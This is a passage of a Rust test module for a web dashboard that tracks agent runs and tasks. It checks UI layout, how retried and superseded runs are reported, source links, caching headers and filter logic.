13045 fn an_error_is_visible_from_where_the_button_is() {
13046 let alert = &APP_CSS[APP_CSS.find(".alert {").expect(".alert")
13051 ..APP_CSS.find(".alert-text").expect(".alert-text")];
13052 assert!(
13053 alert.contains("position: fixed"),
13054 "an error about the thing under your thumb has to be visible from \
13055 where your thumb is: {alert}"
13056 );
13057 assert!(
13058 alert.contains("z-index: 25"),
13059 "above the dock (20) and the run-actions FAB (15), so neither \
13060 buries it: {alert}"
13061 );
13062 assert!(
13063 alert.contains("var(--tap)"),
13064 "and clear of the dock and the home indicator: {alert}"
13065 );
13066 assert!(
13069 alert.contains("var(--s4) + var(--tap) + var(--s3)"),
13070 "the FAB's column stays free: {alert}"
13071 );
13072 }
13073
13074 #[tokio::test]
13075 async fn an_older_attempt_says_what_replaced_it() {
13076 let fx = Fixture::start().await;
13077 let q = fx.queue();
13078 let runs = fx.runs();
13079 let (first, second) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
13080 write_run(&runs, first, RunStatus::Stalled);
13081 write_run(&runs, second, RunStatus::Blocked);
13082
13083 let mut t = Task::new(
13084 "one task".to_owned(),
13085 "do it".to_owned(),
13086 PathBuf::from("/repo"),
13087 Source::Human,
13088 );
13089 t.runs = vec![first.to_owned(), second.to_owned()];
13090 q.put(&mut t).expect("put");
13091
13092 let rows = fx.get("/api/runs").await.json();
13096 let by = |short: &str| -> Value {
13097 rows.as_array()
13098 .unwrap()
13099 .iter()
13100 .find(|r| r["short"] == short)
13101 .cloned()
13102 .unwrap_or(Value::Null)
13103 };
13104 assert_eq!(by("aaaa")["superseded_by"], "bbbb");
13105 assert!(
13106 by("bbbb")["superseded_by"].is_null(),
13107 "the latest attempt is not superseded by anything"
13108 );
13109 assert!(APP_JS.contains("run.superseded_by"));
13111 assert!(APP_JS.contains("Superseded by"));
13112 }
13113
13114 fn outcome_task(runs: &[&str], status: TaskStatus) -> Task {
13115 let mut t = Task::new(
13116 "one task".to_owned(),
13117 "do it".to_owned(),
13118 PathBuf::from("/repo"),
13119 Source::Human,
13120 );
13121 t.runs = runs.iter().map(|r| (*r).to_owned()).collect();
13122 t.status = status;
13123 t
13124 }
13125
13126 #[test]
13127 fn source_link_picks_the_page_that_filed_the_task() {
13128 let agent = |node: &str| Source::Agent {
13129 run: "20260904-014455-ab12".to_owned(),
13130 node: node.to_owned(),
13131 };
13132 let chat = source_link(&agent("chat")).expect("chat link");
13133 assert_eq!(chat.kind, "chat");
13134 assert_eq!(chat.id, "20260904-014455-ab12");
13135 assert_eq!(chat.href, "#/chat/20260904-014455-ab12");
13136 let run = source_link(&agent("implement")).expect("run link");
13137 assert_eq!(
13138 (run.kind, run.href.as_str()),
13139 ("run", "#/runs/20260904-014455-ab12")
13140 );
13141 assert_eq!(source_link(&Source::Human), None);
13142 assert_eq!(
13143 source_link(&Source::Issue {
13144 number: 3,
13145 repo: "o/r".to_owned()
13146 }),
13147 None
13148 );
13149 let odd = source_link(&Source::Agent {
13150 run: "a b/c".to_owned(),
13151 node: "chat".to_owned(),
13152 })
13153 .expect("link");
13154 assert_eq!(odd.href, "#/chat/a%20b%2Fc");
13155 }
13156
13157 #[test]
13158 fn the_ui_reads_the_source_link_instead_of_guessing_a_route() {
13159 assert!(
13160 !APP_JS.contains("src.node === \"chat\""),
13161 "inline href rule is back"
13162 );
13163 assert!(
13164 APP_JS.matches("sourceLinkOf(").count() >= 4,
13165 "helper must serve every page"
13166 );
13167 assert!(
13168 APP_JS.matches("openChatLink(").count() >= 3,
13169 "the run page still needs its explicit chat link"
13170 );
13171 assert!(
13172 !APP_JS.contains("const openChat = el("),
13173 "the Queue card duplicates its source label link again"
13174 );
13175 assert!(
13176 APP_JS.contains("metaKids.push(link ? el(\"a\""),
13177 "the task page must link a chat source label too"
13178 );
13179 }
13180
13181 #[test]
13182 fn task_ref_carries_the_source_link_for_a_chat_task() {
13183 let mut t = outcome_task(&["20260901-000000-aaaa"], TaskStatus::Held);
13184 t.source = Source::Agent {
13185 run: "20260904-014455-ab12".to_owned(),
13186 node: "chat".to_owned(),
13187 };
13188 let out = task_outcome(&t, "20260901-000000-aaaa", 3, |_| None);
13189 let v = serde_json::to_value(&out).expect("json");
13190 assert_eq!(v["source_link"]["kind"], "chat", "{v}");
13191 assert_eq!(v["source_link"]["href"], "#/chat/20260904-014455-ab12");
13192 assert_eq!(v["source_label"], t.source.label());
13193
13194 let human = outcome_task(&["20260901-000000-aaaa"], TaskStatus::Held);
13195 let v = serde_json::to_value(task_outcome(&human, "20260901-000000-aaaa", 3, |_| None))
13196 .expect("json");
13197 assert!(v["source_link"].is_null(), "{v}");
13198 }
13199
13200 #[test]
13201 fn task_view_serializes_source_link() {
13202 let mut t = Task::new(
13203 "t".to_owned(),
13204 "t".to_owned(),
13205 PathBuf::from("/repo"),
13206 Source::Agent {
13207 run: "20260901-000000-aaaa".to_owned(),
13208 node: "implement".to_owned(),
13209 },
13210 );
13211 t.runs.clear();
13212 let v = serde_json::to_value(TaskView::from(t)).expect("json");
13213 assert_eq!(v["source_link"]["kind"], "run", "{v}");
13214 assert_eq!(v["source_link"]["href"], "#/runs/20260901-000000-aaaa");
13215 }
13216
13217 #[tokio::test]
13218 async fn a_blocked_run_reports_the_task_finishing_elsewhere() {
13219 let fx = Fixture::start().await;
13220 let runs = fx.runs();
13221 let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
13222 write_run(&runs, old, RunStatus::Blocked);
13223 write_run(&runs, new, RunStatus::Merged);
13224 let mut t = outcome_task(&[old, new], TaskStatus::Done);
13225 fx.queue().put(&mut t).expect("put");
13226
13227 let view = fx.get(&format!("/api/runs/{old}")).await.json();
13228 let task = &view["task"];
13229 assert_eq!(task["status"], "done");
13230 assert_eq!(task["is_latest"], false);
13231 assert_eq!(task["latest"]["short"], "bbbb");
13232 assert_eq!(task["finished_by"]["id"], new);
13233 assert_eq!(task["finished_by"]["outcome"], "merged");
13234 assert_eq!(task["closed_by_hand"], false);
13235 assert_eq!(view["status"], "blocked", "the run keeps its own status");
13236 assert!(APP_JS.contains("finished_by"));
13237 assert!(APP_JS.contains("superseded by run"));
13238 }
13239
13240 #[tokio::test]
13241 async fn the_latest_run_reports_a_held_task_without_a_successor() {
13242 let fx = Fixture::start().await;
13243 let runs = fx.runs();
13244 let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
13245 write_run(&runs, old, RunStatus::Stalled);
13246 write_run(&runs, new, RunStatus::Blocked);
13247 let mut t = outcome_task(&[old, new], TaskStatus::Held);
13248 fx.queue().put(&mut t).expect("put");
13249
13250 let task = fx.get(&format!("/api/runs/{new}")).await.json()["task"].clone();
13251 assert_eq!(task["status"], "held");
13252 assert_eq!(task["is_latest"], true);
13253 assert!(task["latest"].is_null());
13254 assert!(task["finished_by"].is_null());
13255 assert_eq!(task["closed_by_hand"], false);
13256 }
13257
13258 #[tokio::test]
13259 async fn a_direct_run_has_no_task_outcome() {
13260 let fx = Fixture::start().await;
13261 let runs = fx.runs();
13262 let id = "20260901-000000-aaaa";
13263 write_run(&runs, id, RunStatus::Blocked);
13264 let view = fx.get(&format!("/api/runs/{id}")).await.json();
13265 assert!(view["task"].is_null());
13266 }
13267
13268 #[test]
13269 fn task_outcome_does_not_guess_a_finishing_run() {
13270 let a = "20260901-000000-aaaa";
13271 let b = "20260901-000000-bbbb";
13272 let c = "20260901-000000-cccc";
13273 let dir = tempfile::tempdir().expect("tempdir");
13274 write_run(dir.path(), a, RunStatus::Blocked);
13275 write_run(dir.path(), b, RunStatus::VerifiedNoop);
13276 let read = |id: &str| read_run(dir.path(), id).ok();
13278 let t = outcome_task(&[a, b, c], TaskStatus::Done);
13281 let out = task_outcome(&t, a, 3, read);
13282 assert!(out.finished_by.is_none());
13283 assert!(out.closed_by_hand);
13284 let latest = out.latest.expect("latest");
13285 assert_eq!(latest.id, c);
13286 assert_eq!(latest.status, None);
13287 assert_eq!(latest.outcome, "record unreadable");
13288
13289 write_run(dir.path(), c, RunStatus::Ready);
13291 let t = outcome_task(&[a, c], TaskStatus::Done);
13292 let out = task_outcome(&t, a, 3, |id| read_run(dir.path(), id).ok());
13293 assert_eq!(out.finished_by.expect("finisher").id, c);
13294 assert!(!out.closed_by_hand);
13295
13296 let t = outcome_task(&[a, b, a], TaskStatus::Held);
13298 assert!(task_outcome(&t, a, 3, read).is_latest);
13299 }
13300
13301 #[tokio::test]
13302 async fn a_run_s_own_detail_page_says_what_replaced_it_too() {
13303 let fx = Fixture::start().await;
13308 let q = fx.queue();
13309 let runs = fx.runs();
13310 let (first, second) = ("20260901-000000-cccc", "20260901-000000-dddd");
13311 write_run(&runs, first, RunStatus::Blocked);
13312 write_run(&runs, second, RunStatus::Merged);
13313
13314 let mut t = Task::new(
13315 "one task".to_owned(),
13316 "do it".to_owned(),
13317 PathBuf::from("/repo"),
13318 Source::Human,
13319 );
13320 t.runs = vec![first.to_owned(), second.to_owned()];
13321 q.put(&mut t).expect("put");
13322
13323 let earlier = fx.get(&format!("/api/runs/{first}")).await.json();
13324 assert_eq!(earlier["superseded_by"], "dddd");
13325 assert_eq!(earlier["latest_attempt"]["id"], second);
13326 assert_eq!(earlier["latest_attempt"]["short"], "dddd");
13327 assert_eq!(
13328 earlier["latest_attempt"]["resolved"], true,
13329 "the run that replaced it landed, so this one reads as settled"
13330 );
13331
13332 let later = fx.get(&format!("/api/runs/{second}")).await.json();
13333 assert!(
13334 later["superseded_by"].is_null(),
13335 "the latest attempt is not superseded by anything"
13336 );
13337 assert!(
13338 later["latest_attempt"].is_null(),
13339 "the latest attempt has no later attempt of its own"
13340 );
13341
13342 assert!(APP_JS.contains("run.latest_attempt"));
13349 assert!(APP_JS.contains("data-superseded"));
13350 assert!(APP_JS.contains("#/runs/${latest.id}"));
13351 }
13352
13353 #[tokio::test]
13354 async fn a_chain_of_retries_points_the_oldest_at_the_current_head() {
13355 let fx = Fixture::start().await;
13361 let q = fx.queue();
13362 let runs = fx.runs();
13363 let (a, b, c) = (
13364 "20260901-000000-aaaa",
13365 "20260901-000000-bbbb",
13366 "20260901-000000-cccc",
13367 );
13368 write_run(&runs, a, RunStatus::Blocked);
13369 write_run(&runs, b, RunStatus::Blocked);
13370 write_run(&runs, c, RunStatus::Merged);
13371
13372 let mut t = Task::new(
13373 "retried twice".to_owned(),
13374 "do it".to_owned(),
13375 PathBuf::from("/repo"),
13376 Source::Human,
13377 );
13378 t.runs = vec![a.to_owned(), b.to_owned(), c.to_owned()];
13379 q.put(&mut t).expect("put");
13380
13381 let view = fx.get(&format!("/api/runs/{a}")).await.json();
13382 assert_eq!(view["superseded_by"], "bbbb", "the immediate successor");
13383 assert_eq!(
13384 view["latest_attempt"]["id"], c,
13385 "the chain's current head, not the intermediate Blocked retry"
13386 );
13387 assert_eq!(view["latest_attempt"]["resolved"], true);
13388
13389 let mid = fx.get(&format!("/api/runs/{b}")).await.json();
13390 assert_eq!(mid["latest_attempt"]["id"], c);
13391 assert_eq!(mid["latest_attempt"]["resolved"], true);
13392 }
13393
13394 #[tokio::test]
13395 async fn an_unresolved_or_unverified_successor_does_not_read_as_finished() {
13396 let fx = Fixture::start().await;
13397 let q = fx.queue();
13398 let runs = fx.runs();
13399
13400 let (still_blocked_a, still_blocked_b) = ("20260901-000000-e001", "20260901-000000-e002");
13403 write_run(&runs, still_blocked_a, RunStatus::Blocked);
13404 write_run(&runs, still_blocked_b, RunStatus::Blocked);
13405 let mut t1 = Task::new(
13406 "still stuck".to_owned(),
13407 "do it".to_owned(),
13408 PathBuf::from("/repo"),
13409 Source::Human,
13410 );
13411 t1.runs = vec![still_blocked_a.to_owned(), still_blocked_b.to_owned()];
13412 q.put(&mut t1).expect("put");
13413 let view1 = fx.get(&format!("/api/runs/{still_blocked_a}")).await.json();
13414 assert_eq!(view1["latest_attempt"]["resolved"], false);
13415 assert_eq!(view1["latest_attempt"]["status"], "blocked");
13416 assert_eq!(view1["latest_attempt"]["done"], true);
13417
13418 let (run_a, run_b) = ("20260901-000000-e005", "20260901-000000-e006");
13420 write_run(&runs, run_a, RunStatus::Blocked);
13421 write_run(&runs, run_b, RunStatus::Implementing);
13422 let mut t3 = Task::new(
13423 "retrying".to_owned(),
13424 "do it".to_owned(),
13425 PathBuf::from("/repo"),
13426 Source::Human,
13427 );
13428 t3.runs = vec![run_a.to_owned(), run_b.to_owned()];
13429 q.put(&mut t3).expect("put");
13430 let view3 = fx.get(&format!("/api/runs/{run_a}")).await.json();
13431 assert_eq!(view3["latest_attempt"]["id"], run_b);
13432 assert_eq!(view3["latest_attempt"]["resolved"], false);
13433 assert_eq!(view3["latest_attempt"]["done"], false);
13434
13435 let (noop_a, noop_b) = ("20260901-000000-e003", "20260901-000000-e004");
13440 write_run(&runs, noop_a, RunStatus::Blocked);
13441 write_run(&runs, noop_b, RunStatus::VerifiedNoop);
13442 let mut t2 = Task::new(
13443 "claims done".to_owned(),
13444 "do it".to_owned(),
13445 PathBuf::from("/repo"),
13446 Source::Human,
13447 );
13448 t2.runs = vec![noop_a.to_owned(), noop_b.to_owned()];
13449 q.put(&mut t2).expect("put");
13450 let view2 = fx.get(&format!("/api/runs/{noop_a}")).await.json();
13451 assert_eq!(
13452 view2["latest_attempt"]["resolved"], false,
13453 "an unverified no-op claim must not read as a confirmed finish"
13454 );
13455
13456 assert!(APP_JS.contains("latest.resolved"));
13459 assert!(APP_JS.contains("successorNote(latest, inFlight)"));
13462 assert!(APP_JS.contains("Latest attempt: "));
13463 assert!(APP_JS.contains("in flight"));
13464 assert!(APP_JS.contains("not resolved"));
13465 }
13466
13467 #[tokio::test]
13468 async fn a_replaced_deck_is_not_served_from_a_phone_s_cache() {
13469 let fx = Fixture::start().await;
13470 let js = fx.get("/app.js").await;
13476 assert_eq!(js.status, 200);
13477 let tag = js
13478 .header("etag")
13479 .expect("an etag to revalidate against")
13480 .to_owned();
13481 assert!(tag.contains(env!("CARGO_PKG_VERSION")), "tag: {tag}");
13482 assert_eq!(
13483 js.header("cache-control"),
13484 Some("no-cache, must-revalidate"),
13485 "the phone has to ask every time"
13486 );
13487
13488 let again = fx
13491 .get_with("/app.js", &[("if-none-match", tag.as_str())])
13492 .await;
13493 assert_eq!(
13494 again.status, 304,
13495 "a deck it already has costs one round trip"
13496 );
13497 assert!(again.body.is_empty(), "304 carries no body");
13498
13499 let weak = fx
13502 .get_with("/app.js", &[("if-none-match", &format!("W/{tag}"))])
13503 .await;
13504 assert_eq!(weak.status, 304);
13505 let stale = fx
13506 .get_with("/app.js", &[("if-none-match", "\"0.0.1-1\"")])
13507 .await;
13508 assert_eq!(stale.status, 200, "an older build must be replaced");
13509 assert!(stale.body.contains("renderRunActions"));
13510 }
13511
13512 #[test]
13513 fn the_task_detail_has_an_actions_fab_and_sheet() {
13514 assert!(INDEX_HTML.contains("id=\"task-actions-fab\""));
13515 assert!(INDEX_HTML.contains("id=\"task-actions-sheet\""));
13516 assert!(INDEX_HTML.contains("id=\"task-actions-error\" role=\"alert\""));
13517 assert!(APP_JS.contains("show($(\"task-actions-fab\"), route.name === \"task\")"));
13519 assert!(APP_JS.contains("if (route.name !== \"task\") closeTaskActions();"));
13520 assert!(APP_JS.contains("renderTaskActions(task);"));
13522 assert!(APP_JS.contains("renderTaskActions(null);"));
13523 let sheet = APP_JS
13525 .find("function renderTaskActions")
13526 .expect("sheet renderer");
13527 let body = &APP_JS[sheet..sheet + 3000];
13528 assert!(body.contains("changePriority("));
13529 assert!(body.contains("openTaskEdit(task)"));
13530 assert!(body.contains("renderTaskHoldBox(host"));
13531 assert!(body.contains("renderTaskDoneBox(host"));
13532 assert!(body.contains("renderTaskDeleteBox(host"));
13533 assert!(APP_JS.contains("API.priority(id)"));
13534 assert!(APP_JS.contains("API.deleteTask(id)"));
13535 assert!(APP_JS.contains("location.hash = \"#/queue\""));
13537 assert!(APP_JS.contains("$(\"task-actions-error\")"));
13539 }
13540
13541 #[test]
13542 fn the_run_actions_sheet_leads_with_a_way_to_the_task() {
13543 let task = INDEX_HTML.find("id=\"run-task-box\"").expect("task box");
13544 let actions = INDEX_HTML
13545 .find("id=\"run-actions-box\"")
13546 .expect("actions box");
13547 assert!(task < actions, "the task entry comes first in the sheet");
13548 assert!(APP_JS.contains("renderRunTaskEntry"));
13549 assert!(APP_JS.contains("\"Open task \""));
13550 assert!(APP_JS.contains("started directly, no task"));
13552 assert!(APP_JS.contains("sheet-task-link"));
13553 assert!(APP_JS.contains("task-chip-link"));
13554 }
13555
13556 #[test]
13557 fn the_deck_never_sends_the_operator_to_a_terminal() {
13558 assert!(
13561 !APP_JS.contains("Run `magi fold` first"),
13562 "the deck must offer the fold, not prescribe a shell command"
13563 );
13564 assert!(APP_JS.contains("foldRun:"));
13565 assert!(APP_JS.contains("resumeRun:"));
13566 assert!(APP_JS.contains("renderRunActions"));
13567
13568 assert!(APP_JS.contains("armedFold"));
13570 assert!(APP_JS.contains("Yes, fold worktrees"));
13571
13572 assert!(APP_JS.contains("can no longer be resumed"));
13575 }
13576
13577 #[test]
13578 fn a_finished_run_explains_itself_with_its_own_last_line() {
13579 assert!(
13585 !APP_JS.contains("collapsed on agent quota"),
13586 "a stall must not be explained by a cause the deck did not check"
13587 );
13588 assert!(
13589 !APP_JS.contains("Review rounds ran out with findings still open, or the gate failed"),
13590 "and a block must not offer a guess with an `or` in it"
13591 );
13592
13593 assert!(
13597 APP_JS.contains("setText(r.event, run.event || \"\")"),
13598 "the run's last line is rendered unconditionally"
13599 );
13600 assert!(
13601 !APP_JS.contains("moving && run.event"),
13602 "and never gated on the run still moving"
13603 );
13604
13605 assert!(APP_JS.contains("lost to quota"));
13607 }
13608
13609 #[test]
13631 fn runs_tree_sections_and_state_chips_agree_on_what_a_run_can_be() {
13632 let shapes_marker = "const REPRESENTATIVE_RUN_SHAPES = [";
13633 let shapes_body_start =
13634 APP_JS.find(shapes_marker).expect("the shape list exists") + shapes_marker.len();
13635 let shapes_close = APP_JS[shapes_body_start..]
13636 .find("].map(")
13637 .expect("the shape list is closed by its done-computing .map(...)")
13638 + shapes_body_start;
13639 let shapes_src = &APP_JS[shapes_body_start..shapes_close];
13640
13641 let mut shapes: Vec<(bool, String, bool)> = Vec::new();
13642 for entry in shapes_src.split('{').skip(1) {
13643 let waiting = entry.contains("waiting: true");
13644 let dead = entry.contains("live: \"dead\"");
13645 let status_at =
13646 entry.find("status: \"").expect("each shape names a status") + "status: \"".len();
13647 let status_end = entry[status_at..]
13648 .find('"')
13649 .expect("the status string is closed")
13650 + status_at;
13651 shapes.push((waiting, entry[status_at..status_end].to_string(), dead));
13652 }
13653 assert!(shapes.len() >= 6, "parsed shapes: {shapes:?}");
13654
13655 let done_rule_marker = "done: !";
13659 let done_rule_at = APP_JS[shapes_close..]
13660 .find(done_rule_marker)
13661 .expect("the done rule follows the shape list")
13662 + shapes_close
13663 + done_rule_marker.len();
13664 let includes_at = APP_JS[done_rule_at..]
13665 .find(".includes(shape.status)")
13666 .expect("the done rule ends in .includes(shape.status)")
13667 + done_rule_at;
13668 let not_done: Vec<&str> = APP_JS[done_rule_at..includes_at]
13669 .trim()
13670 .trim_start_matches('[')
13671 .trim_end_matches(']')
13672 .split(',')
13673 .map(|s| s.trim().trim_matches('"'))
13674 .filter(|s| !s.is_empty())
13675 .collect();
13676
13677 let shapes: Vec<(bool, String, bool, bool)> = shapes
13678 .into_iter()
13679 .map(|(waiting, status, dead)| {
13680 let done = !not_done.contains(&status.as_str());
13681 (waiting, status, dead, done)
13682 })
13683 .collect();
13684
13685 fn run_section(waiting: bool, status: &str, dead: bool) -> &'static str {
13689 if waiting {
13690 return "waiting";
13691 }
13692 if dead
13693 && !matches!(
13694 status,
13695 "merged"
13696 | "ready"
13697 | "stalled"
13698 | "blocked"
13699 | "failed"
13700 | "verified_noop"
13701 | "superseded"
13702 | "already_in_base"
13703 )
13704 {
13705 return "stale";
13706 }
13707 match status {
13708 "merged" | "ready" => "landed",
13709 "stalled" | "blocked" | "failed" | "verified_noop" | "superseded"
13710 | "already_in_base" => "ended",
13711 _ => "flight",
13712 }
13713 }
13714
13715 fn filter_matches(filter_key: &str, waiting: bool, dead: bool, done: bool) -> bool {
13718 match filter_key {
13719 "active" => !done,
13720 "flight" => !done && !waiting && !dead,
13721 "stale" => !done && !waiting && dead,
13722 "waiting" => waiting,
13723 "done" => done,
13724 "all" => true,
13725 other => panic!("unknown RUN_STATE_FILTERS key: {other}"),
13726 }
13727 }
13728
13729 let compatible = |section: &str, filter_key: &str| {
13730 shapes.iter().any(|(waiting, status, dead, done)| {
13731 run_section(*waiting, status, *dead) == section
13732 && filter_matches(filter_key, *waiting, *dead, *done)
13733 })
13734 };
13735
13736 let expected = [
13741 ("waiting", [true, false, false, true, true, true]),
13742 ("stale", [true, false, true, false, false, true]),
13743 ("flight", [true, true, false, false, false, true]),
13744 ("landed", [false, false, false, false, true, true]),
13745 ("ended", [false, false, false, false, true, true]),
13746 ];
13747 let filter_keys = ["active", "flight", "stale", "waiting", "done", "all"];
13748
13749 for (section, wants) in expected {
13750 for (filter_key, want) in filter_keys.iter().zip(wants) {
13751 assert_eq!(
13752 compatible(section, filter_key),
13753 want,
13754 "section {section:?} x filter {filter_key:?} should be compatible: {want}"
13755 );
13756 }
13757 }
13758
13759 assert!(
13762 APP_JS.contains("function sectionCompatibleWithStateFilter(sectionKey, filterKey)")
13763 );
13764 assert!(APP_JS.contains(
13765 "if (state.runsFilter.section && !sectionCompatibleWithStateFilter(state.runsFilter.section, key))"
13766 ));
13767 assert!(APP_JS.contains(
13768 "if (!same && !sectionCompatibleWithStateFilter(section, state.runsStateFilter))"
13769 ));
13770 }
13771
13772 #[tokio::test]
13773 async fn normalize_default_repo_leaves_an_explicit_path_untouched() {
13774 let dir = tempfile::tempdir().expect("tempdir");
13778 let explicit = dir.path().join("not-a-checkout");
13779 std::fs::create_dir_all(&explicit).expect("create dir");
13780 assert_eq!(normalize_default_repo(explicit.clone()).await, explicit);
13781
13782 let missing = dir.path().join("does-not-exist-at-all");
13783 assert_eq!(normalize_default_repo(missing.clone()).await, missing);
13784 }
13785}